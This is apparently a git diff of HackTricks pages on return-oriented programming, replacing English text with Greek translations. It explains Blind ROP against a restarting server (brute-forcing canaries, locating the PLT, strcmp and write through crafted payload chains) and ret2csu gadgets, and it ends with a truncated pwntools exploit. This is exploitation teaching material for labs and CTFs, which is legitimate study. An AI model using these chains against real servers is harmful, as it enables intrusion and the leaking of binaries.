- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution.
|
||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain
|
||||
- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Αυτές οι προστασίες καθιστούν πιο δύσκολη τη χρήση του ROP καθώς οι διευθύνσεις των gadgets αλλάζουν μεταξύ των εκτελέσεων.
|
||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Σε περίπτωση BOF, είναι απαραίτητο να παρακαμφθούν οι αποθηκευμένες canary της στοίβας για να επαναγραφούν οι δείκτες επιστροφής για να εκμεταλλευτούν μια ROP αλυσίδα.
|
||||
- **Έλλειψη Gadgets**: Αν δεν υπάρχουν αρκετά gadgets, δεν θα είναι δυνατή η δημιουργία μιας ROP αλυσίδας.
|
||||
|
||||
## ROP based techniques
|
||||
## Τεχνικές βασισμένες σε ROP
|
||||
|
||||
Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed:
|
||||
Σημειώστε ότι το ROP είναι απλώς μια τεχνική για την εκτέλεση αυθαίρετου κώδικα. Βασισμένο στο ROP, αναπτύχθηκαν πολλές τεχνικές Ret2XXX:
|
||||
|
||||
- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`.
|
||||
- **Ret2lib**: Χρησιμοποιεί ROP για να καλέσει αυθαίρετες συναρτήσεις από μια φορτωμένη βιβλιοθήκη με αυθαίρετες παραμέτρους (συνήθως κάτι σαν `system('/bin/sh')`.
|
||||
|
||||
{{#ref}}
|
||||
ret2lib/
|
||||
{{#endref}}
|
||||
|
||||
- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands.
|
||||
- **Ret2Syscall**: Χρησιμοποιεί ROP για να προετοιμάσει μια κλήση σε μια syscall, π.χ. `execve`, και να την εκτελέσει αυθαίρετες εντολές.
|
||||
|
||||
{{#ref}}
|
||||
rop-syscall-execv/
|
||||
{{#endref}}
|
||||
|
||||
- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP).
|
||||
- **EBP2Ret & EBP Chaining**: Το πρώτο θα εκμεταλλευτεί το EBP αντί του EIP για να ελέγξει τη ροή και το δεύτερο είναι παρόμοιο με το Ret2lib αλλά σε αυτή την περίπτωση η ροή ελέγχεται κυρίως με διευθύνσεις EBP (αν και είναι επίσης απαραίτητο να ελέγχεται το EIP).
|
||||
|
||||
{{#ref}}
|
||||
../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
|
||||
{{#endref}}
|
||||
|
||||
## Other Examples & References
|
||||
## Άλλα Παραδείγματα & Αναφορές
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
|
||||
- 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag
|
||||
- 64 bit, Pie και nx ενεργοποιημένα, χωρίς canary, επαναγραφή RIP με μια διεύθυνση `vsyscall` με τον μοναδικό σκοπό να επιστρέψει στη διεύθυνση που ακολουθεί στη στοίβα, η οποία θα είναι μια μερική επαναγραφή της διεύθυνσης για να αποκτήσει το μέρος της συνάρτησης που διαρρέει τη σημαία.
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
|
||||
- arm64, χωρίς ASLR, ROP gadget για να κάνει τη στοίβα εκτελέσιμη και να πηδήξει σε shellcode στη στοίβα.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,113 +4,113 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\
|
||||
This attack is based on the following scenario:
|
||||
Ο στόχος αυτής της επίθεσης είναι να μπορέσουμε να **καταχραστούμε ένα ROP μέσω μιας υπερχείλισης buffer χωρίς καμία πληροφορία για το ευάλωτο δυαδικό**.\
|
||||
Αυτή η επίθεση βασίζεται στο εξής σενάριο:
|
||||
|
||||
- A stack vulnerability and knowledge of how to trigger it.
|
||||
- A server application that restarts after a crash.
|
||||
- Μια ευπάθεια στο stack και γνώση του πώς να την ενεργοποιήσουμε.
|
||||
- Μια εφαρμογή server που επανεκκινείται μετά από μια κατάρρευση.
|
||||
|
||||
## Attack
|
||||
|
||||
### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected
|
||||
### **1. Βρείτε την ευάλωτη απόσταση** στέλνοντας ένα ακόμη χαρακτήρα μέχρι να ανιχνευθεί μια δυσλειτουργία του server
|
||||
|
||||
### **2. Brute-force canary** to leak it
|
||||
### **2. Brute-force canary** για να το διαρρεύσετε
|
||||
|
||||
### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them
|
||||
### **3. Brute-force αποθηκευμένες διευθύνσεις RBP και RIP** στο stack για να τις διαρρεύσετε
|
||||
|
||||
You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
||||
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με αυτές τις διαδικασίες [εδώ (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) και [εδώ (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
||||
|
||||
### **4. Find the stop gadget**
|
||||
### **4. Βρείτε το gadget STOP**
|
||||
|
||||
This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed
|
||||
Αυτό το gadget επιτρέπει βασικά να επιβεβαιωθεί ότι κάτι ενδιαφέρον εκτελέστηκε από το ROP gadget επειδή η εκτέλεση δεν κατέρρευσε. Συνήθως, αυτό το gadget θα είναι κάτι που **σταματά την εκτέλεση** και είναι τοποθετημένο στο τέλος της αλυσίδας ROP όταν αναζητάμε ROP gadgets για να επιβεβαιώσουμε ότι εκτελέστηκε ένα συγκεκριμένο ROP gadget.
|
||||
|
||||
### **5. Find BROP gadget**
|
||||
### **5. Βρείτε το gadget BROP**
|
||||
|
||||
This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**:
|
||||
Αυτή η τεχνική χρησιμοποιεί το [**ret2csu**](ret2csu.md) gadget. Και αυτό συμβαίνει επειδή αν αποκτήσετε πρόσβαση σε αυτό το gadget στη μέση κάποιων εντολών, αποκτάτε gadgets για να ελέγξετε **`rsi`** και **`rdi`**:
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
These would be the gadgets:
|
||||
Αυτά θα είναι τα gadgets:
|
||||
|
||||
- `pop rsi; pop r15; ret`
|
||||
- `pop rdi; ret`
|
||||
|
||||
Notice how with those gadgets it's possible to **control 2 arguments** of a function to call.
|
||||
Παρατηρήστε πώς με αυτά τα gadgets είναι δυνατό να **ελέγξετε 2 παραμέτρους** μιας συνάρτησης για να καλέσετε.
|
||||
|
||||
Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like:
|
||||
Επίσης, παρατηρήστε ότι το ret2csu gadget έχει μια **πολύ μοναδική υπογραφή** επειδή θα popάρει 6 καταχωρητές από το stack. Έτσι, στέλνοντας μια αλυσίδα όπως:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address.
|
||||
Αν το **STOP εκτελείται**, αυτό σημαίνει βασικά ότι χρησιμοποιήθηκε μια **διεύθυνση που popάρει 6 καταχωρητές** από το stack. Ή ότι η διεύθυνση που χρησιμοποιήθηκε ήταν επίσης μια διεύθυνση STOP.
|
||||
|
||||
In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers:
|
||||
Για να **αφαιρεθεί αυτή η τελευταία επιλογή**, εκτελείται μια νέα αλυσίδα όπως η παρακάτω και δεν πρέπει να εκτελεί το gadget STOP για να επιβεβαιώσει ότι η προηγούμενη εκτέλεσε pop 6 καταχωρητές:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR`
|
||||
|
||||
Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**.
|
||||
Γνωρίζοντας τη διεύθυνση του ret2csu gadget, είναι δυνατό να **συμπεράνουμε τη διεύθυνση των gadgets για να ελέγξουμε `rsi` και `rdi`**.
|
||||
|
||||
### 6. Find PLT
|
||||
### 6. Βρείτε το PLT
|
||||
|
||||
The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed.
|
||||
Ο πίνακας PLT μπορεί να αναζητηθεί από 0x400000 ή από τη **διαρρεύσουσα διεύθυνση RIP** από το stack (αν χρησιμοποιείται **PIE**). Οι **καταχωρήσεις** του πίνακα είναι **χωρισμένες κατά 16B** (0x10B), και όταν καλείται μια συνάρτηση, ο server δεν καταρρέει ακόμη και αν οι παράμετροι δεν είναι σωστές. Επίσης, η έλεγχος της διεύθυνσης μιας καταχώρησης στο **PLT + 6B επίσης δεν καταρρέει** καθώς είναι ο πρώτος κώδικας που εκτελείται.
|
||||
|
||||
Therefore, it's possible to find the PLT table checking the following behaviours:
|
||||
Επομένως, είναι δυνατό να βρείτε τον πίνακα PLT ελέγχοντας τις εξής συμπεριφορές:
|
||||
|
||||
- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash
|
||||
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash
|
||||
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash
|
||||
- `'A' * offset + canary + rbp + ADDR + STOP` -> καμία κατάρρευση
|
||||
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> καμία κατάρρευση
|
||||
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> καμία κατάρρευση
|
||||
|
||||
### 7. Finding strcmp
|
||||
### 7. Εύρεση strcmp
|
||||
|
||||
The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program.
|
||||
Η συνάρτηση **`strcmp`** ρυθμίζει τον καταχωρητή **`rdx`** στο μήκος της συμβολοσειράς που συγκρίνεται. Σημειώστε ότι **`rdx`** είναι η **τρίτη παράμετρος** και πρέπει να είναι **μεγαλύτερη από 0** προκειμένου να χρησιμοποιηθεί αργότερα `write` για να διαρρεύσει το πρόγραμμα.
|
||||
|
||||
It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions:
|
||||
Είναι δυνατό να βρείτε τη θέση της **`strcmp`** στον PLT με βάση τη συμπεριφορά της χρησιμοποιώντας το γεγονός ότι μπορούμε τώρα να ελέγξουμε τις 2 πρώτες παραμέτρους των συναρτήσεων:
|
||||
|
||||
- strcmp(\<non read addr>, \<non read addr>) -> crash
|
||||
- strcmp(\<non read addr>, \<read addr>) -> crash
|
||||
- strcmp(\<read addr>, \<non read addr>) -> crash
|
||||
- strcmp(\<read addr>, \<read addr>) -> no crash
|
||||
- strcmp(\<non read addr>, \<non read addr>) -> κατάρρευση
|
||||
- strcmp(\<non read addr>, \<read addr>) -> κατάρρευση
|
||||
- strcmp(\<read addr>, \<non read addr>) -> κατάρρευση
|
||||
- strcmp(\<read addr>, \<read addr>) -> καμία κατάρρευση
|
||||
|
||||
It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one:
|
||||
Είναι δυνατό να ελέγξετε αυτό καλώντας κάθε καταχώρηση του πίνακα PLT ή χρησιμοποιώντας τη **PLT αργή διαδρομή** που βασικά συνίσταται στο **να καλέσετε μια καταχώρηση στον πίνακα PLT + 0xb** (η οποία καλεί το **`dlresolve`**) ακολουθούμενη στο stack από τον **αριθμό καταχώρησης που θέλει να ελέγξει** (ξεκινώντας από το μηδέν) για να σαρώσει όλες τις καταχωρήσεις PLT από την πρώτη:
|
||||
|
||||
- strcmp(\<non read addr>, \<read addr>) -> crash
|
||||
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash
|
||||
- strcmp(\<read addr>, \<non read addr>) -> crash
|
||||
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
- strcmp(\<read addr>, \<read addr>) -> no crash
|
||||
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
- strcmp(\<non read addr>, \<read addr>) -> κατάρρευση
|
||||
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Θα καταρρεύσει
|
||||
- strcmp(\<read addr>, \<non read addr>) -> κατάρρευση
|
||||
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
- strcmp(\<read addr>, \<read addr>) -> καμία κατάρρευση
|
||||
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
|
||||
Remember that:
|
||||
Θυμηθείτε ότι:
|
||||
|
||||
- BROP + 0x7 point to **`pop RSI; pop R15; ret;`**
|
||||
- BROP + 0x9 point to **`pop RDI; ret;`**
|
||||
- PLT + 0xb point to a call to **dl_resolve**.
|
||||
- BROP + 0x7 δείχνει στο **`pop RSI; pop R15; ret;`**
|
||||
- BROP + 0x9 δείχνει στο **`pop RDI; ret;`**
|
||||
- PLT + 0xb δείχνει σε μια κλήση στο **dl_resolve**.
|
||||
|
||||
Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0.
|
||||
Αφού βρείτε το `strcmp`, είναι δυνατό να ρυθμίσετε το **`rdx`** σε μια τιμή μεγαλύτερη από 0.
|
||||
|
||||
> [!TIP]
|
||||
> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary.
|
||||
> Σημειώστε ότι συνήθως το `rdx` θα φιλοξενεί ήδη μια τιμή μεγαλύτερη από 0, οπότε αυτό το βήμα μπορεί να μην είναι απαραίτητο.
|
||||
|
||||
### 8. Finding Write or equivalent
|
||||
### 8. Εύρεση Write ή ισοδύναμου
|
||||
|
||||
Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.**
|
||||
Τέλος, χρειάζεται ένα gadget που να εξάγει δεδομένα προκειμένου να εξάγει το δυαδικό. Και σε αυτό το σημείο είναι δυνατό να **ελέγξετε 2 παραμέτρους και να ρυθμίσετε το `rdx` μεγαλύτερο από 0.**
|
||||
|
||||
There are 3 common funtions taht could be abused for this:
|
||||
Υπάρχουν 3 κοινές συναρτήσεις που θα μπορούσαν να καταχραστούν για αυτό:
|
||||
|
||||
- `puts(data)`
|
||||
- `dprintf(fd, data)`
|
||||
- `write(fd, data, len(data)`
|
||||
|
||||
However, the original paper only mentions the **`write`** one, so lets talk about it:
|
||||
Ωστόσο, το αρχικό έγγραφο αναφέρει μόνο τη **`write`**, οπότε ας μιλήσουμε γι' αυτήν:
|
||||
|
||||
The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**.
|
||||
Το τρέχον πρόβλημα είναι ότι δεν γνωρίζουμε **πού βρίσκεται η συνάρτηση write μέσα στον PLT** και δεν γνωρίζουμε **έναν αριθμό fd για να στείλουμε τα δεδομένα στη socket μας**.
|
||||
|
||||
However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections.
|
||||
Ωστόσο, γνωρίζουμε **πού είναι ο πίνακας PLT** και είναι δυνατό να βρούμε τη write με βάση τη **συμπεριφορά** της. Και μπορούμε να δημιουργήσουμε **πολλές συνδέσεις** με τον server και να χρησιμοποιήσουμε έναν **υψηλό FD** ελπίζοντας ότι θα ταιριάζει με κάποιες από τις συνδέσεις μας.
|
||||
|
||||
Behaviour signatures to find those functions:
|
||||
Υπογραφές συμπεριφοράς για να βρείτε αυτές τις συναρτήσεις:
|
||||
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν εκτυπωθούν δεδομένα, τότε βρέθηκε η puts
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν εκτυπωθούν δεδομένα, τότε βρέθηκε η dprintf
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν εκτυπωθούν δεδομένα, τότε βρέθηκε η write
|
||||
|
||||
## Automatic Exploitation
|
||||
|
||||
|
||||
@ -4,18 +4,17 @@
|
||||
|
||||
##
|
||||
|
||||
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information
|
||||
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Βασικές Πληροφορίες
|
||||
|
||||
**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior.
|
||||
**ret2csu** είναι μια τεχνική hacking που χρησιμοποιείται όταν προσπαθείτε να αναλάβετε τον έλεγχο ενός προγράμματος αλλά δεν μπορείτε να βρείτε τα **gadgets** που συνήθως χρησιμοποιείτε για να χειριστείτε τη συμπεριφορά του προγράμματος.
|
||||
|
||||
When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`.
|
||||
Όταν ένα πρόγραμμα χρησιμοποιεί ορισμένες βιβλιοθήκες (όπως η libc), έχει μερικές ενσωματωμένες λειτουργίες για τη διαχείριση του πώς διαφορετικά κομμάτια του προγράμματος επικοινωνούν μεταξύ τους. Μεταξύ αυτών των λειτουργιών υπάρχουν μερικοί κρυμμένοι θησαυροί που μπορούν να λειτουργήσουν ως τα χαμένα μας gadgets, ειδικά ένα που ονομάζεται `__libc_csu_init`.
|
||||
|
||||
### The Magic Gadgets in \_\_libc_csu_init
|
||||
### Τα Μαγικά Gadgets στο \_\_libc_csu_init
|
||||
|
||||
In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight:
|
||||
|
||||
1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later.
|
||||
Στο **`__libc_csu_init`**, υπάρχουν δύο ακολουθίες εντολών (gadgets) που πρέπει να επισημάνουμε:
|
||||
|
||||
1. Η πρώτη ακολουθία μας επιτρέπει να ρυθμίσουμε τιμές σε αρκετούς καταχωρητές (rbx, rbp, r12, r13, r14, r15). Αυτοί είναι σαν θέσεις όπου μπορούμε να αποθηκεύσουμε αριθμούς ή διευθύνσεις που θέλουμε να χρησιμοποιήσουμε αργότερα.
|
||||
```armasm
|
||||
pop rbx;
|
||||
pop rbp;
|
||||
@ -25,22 +24,18 @@ pop r14;
|
||||
pop r15;
|
||||
ret;
|
||||
```
|
||||
Αυτή η συσκευή μας επιτρέπει να ελέγχουμε αυτούς τους καταχωρητές αποσύροντας τιμές από τη στοίβα σε αυτούς.
|
||||
|
||||
This gadget allows us to control these registers by popping values off the stack into them.
|
||||
|
||||
2. The second sequence uses the values we set up to do a couple of things:
|
||||
- **Move specific values into other registers**, making them ready for us to use as parameters in functions.
|
||||
- **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8.
|
||||
|
||||
2. Η δεύτερη ακολουθία χρησιμοποιεί τις τιμές που έχουμε ρυθμίσει για να κάνουμε μερικά πράγματα:
|
||||
- **Μετακίνηση συγκεκριμένων τιμών σε άλλους καταχωρητές**, προετοιμάζοντάς τους για να τους χρησιμοποιήσουμε ως παραμέτρους σε συναρτήσεις.
|
||||
- **Εκτέλεση κλήσης σε μια τοποθεσία** που καθορίζεται προσθέτοντας τις τιμές σε r15 και rbx, και στη συνέχεια πολλαπλασιάζοντας το rbx με 8.
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
mov edi, r13d;
|
||||
call qword [r12 + rbx*8];
|
||||
```
|
||||
|
||||
3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it:
|
||||
|
||||
3. Ίσως να μην γνωρίζετε καμία διεύθυνση για να γράψετε εκεί και **χρειάζεστε μια `ret` εντολή**. Σημειώστε ότι το δεύτερο gadget θα **τελειώνει επίσης σε μια `ret`**, αλλά θα χρειαστεί να πληροίτε κάποιες **προϋποθέσεις** για να το φτάσετε:
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
@ -52,50 +47,46 @@ jnz <func>
|
||||
...
|
||||
ret
|
||||
```
|
||||
Οι συνθήκες θα είναι:
|
||||
|
||||
The conditions will be:
|
||||
|
||||
- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func):
|
||||
- If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init:
|
||||
|
||||
- `[r12 + rbx*8]` πρέπει να δείχνει σε μια διεύθυνση που αποθηκεύει μια κλήσιμη συνάρτηση (αν δεν έχετε ιδέα και δεν υπάρχει pie, μπορείτε απλά να χρησιμοποιήσετε τη συνάρτηση `_init`):
|
||||
- Αν η \_init είναι στη διεύθυνση `0x400560`, χρησιμοποιήστε το GEF για να αναζητήσετε έναν δείκτη στη μνήμη προς αυτήν και κάντε το `[r12 + rbx*8]` να είναι η διεύθυνση με τον δείκτη προς τη \_init:
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
gef➤ search-pattern 0x400560
|
||||
[+] Searching '\x60\x05\x40' in memory
|
||||
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
|
||||
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
|
||||
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
|
||||
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
|
||||
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
|
||||
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
|
||||
```
|
||||
- `rbp` και `rbx` πρέπει να έχουν την ίδια τιμή για να αποφευχθεί η μεταπήδηση
|
||||
- Υπάρχουν μερικά παραλειπόμενα pops που πρέπει να λάβετε υπόψη
|
||||
|
||||
- `rbp` and `rbx` must have the same value to avoid the jump
|
||||
- There are some omitted pops you need to take into account
|
||||
## RDI και RSI
|
||||
|
||||
## RDI and RSI
|
||||
|
||||
Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets:
|
||||
Ένας άλλος τρόπος για να ελέγξετε **`rdi`** και **`rsi`** από το gadget ret2csu είναι να αποκτήσετε πρόσβαση σε συγκεκριμένες μετατοπίσεις:
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Check this page for more info:
|
||||
Ελέγξτε αυτή τη σελίδα για περισσότερες πληροφορίες:
|
||||
|
||||
{{#ref}}
|
||||
brop-blind-return-oriented-programming.md
|
||||
{{#endref}}
|
||||
|
||||
## Example
|
||||
## Παράδειγμα
|
||||
|
||||
### Using the call
|
||||
### Χρησιμοποιώντας την κλήση
|
||||
|
||||
Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any.
|
||||
Φανταστείτε ότι θέλετε να κάνετε μια syscall ή να καλέσετε μια συνάρτηση όπως το `write()`, αλλά χρειάζεστε συγκεκριμένες τιμές στους καταχωρητές `rdx` και `rsi` ως παραμέτρους. Συνήθως, θα ψάχνατε για gadgets που ρυθμίζουν αυτούς τους καταχωρητές άμεσα, αλλά δεν μπορείτε να βρείτε κανένα.
|
||||
|
||||
Here's where **ret2csu** comes into play:
|
||||
Εδώ είναι που μπαίνει σε παιχνίδι το **ret2csu**:
|
||||
|
||||
1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15.
|
||||
2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`.
|
||||
|
||||
You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used:
|
||||
1. **Ρύθμιση των Καταχωρητών**: Χρησιμοποιήστε το πρώτο μαγικό gadget για να βγάλετε τιμές από τη στοίβα και να τις τοποθετήσετε στους rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) και r15.
|
||||
2. **Χρησιμοποιήστε το Δεύτερο Gadget**: Με αυτούς τους καταχωρητές ρυθμισμένους, χρησιμοποιείτε το δεύτερο gadget. Αυτό σας επιτρέπει να μεταφέρετε τις επιλεγμένες τιμές σας στους `rdx` και `rsi` (από r14 και r13, αντίστοιχα), προετοιμάζοντας παραμέτρους για μια κλήση συνάρτησης. Επιπλέον, ελέγχοντας το `r15` και το `rbx`, μπορείτε να κάνετε το πρόγραμμα να καλέσει μια συνάρτηση που βρίσκεται στη διεύθυνση που υπολογίζετε και τοποθετείτε στο `[r15 + rbx*8]`.
|
||||
|
||||
Έχετε ένα [**παράδειγμα που χρησιμοποιεί αυτή την τεχνική και το εξηγεί εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), και αυτό είναι το τελικό exploit που χρησιμοποιήθηκε:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain())
|
||||
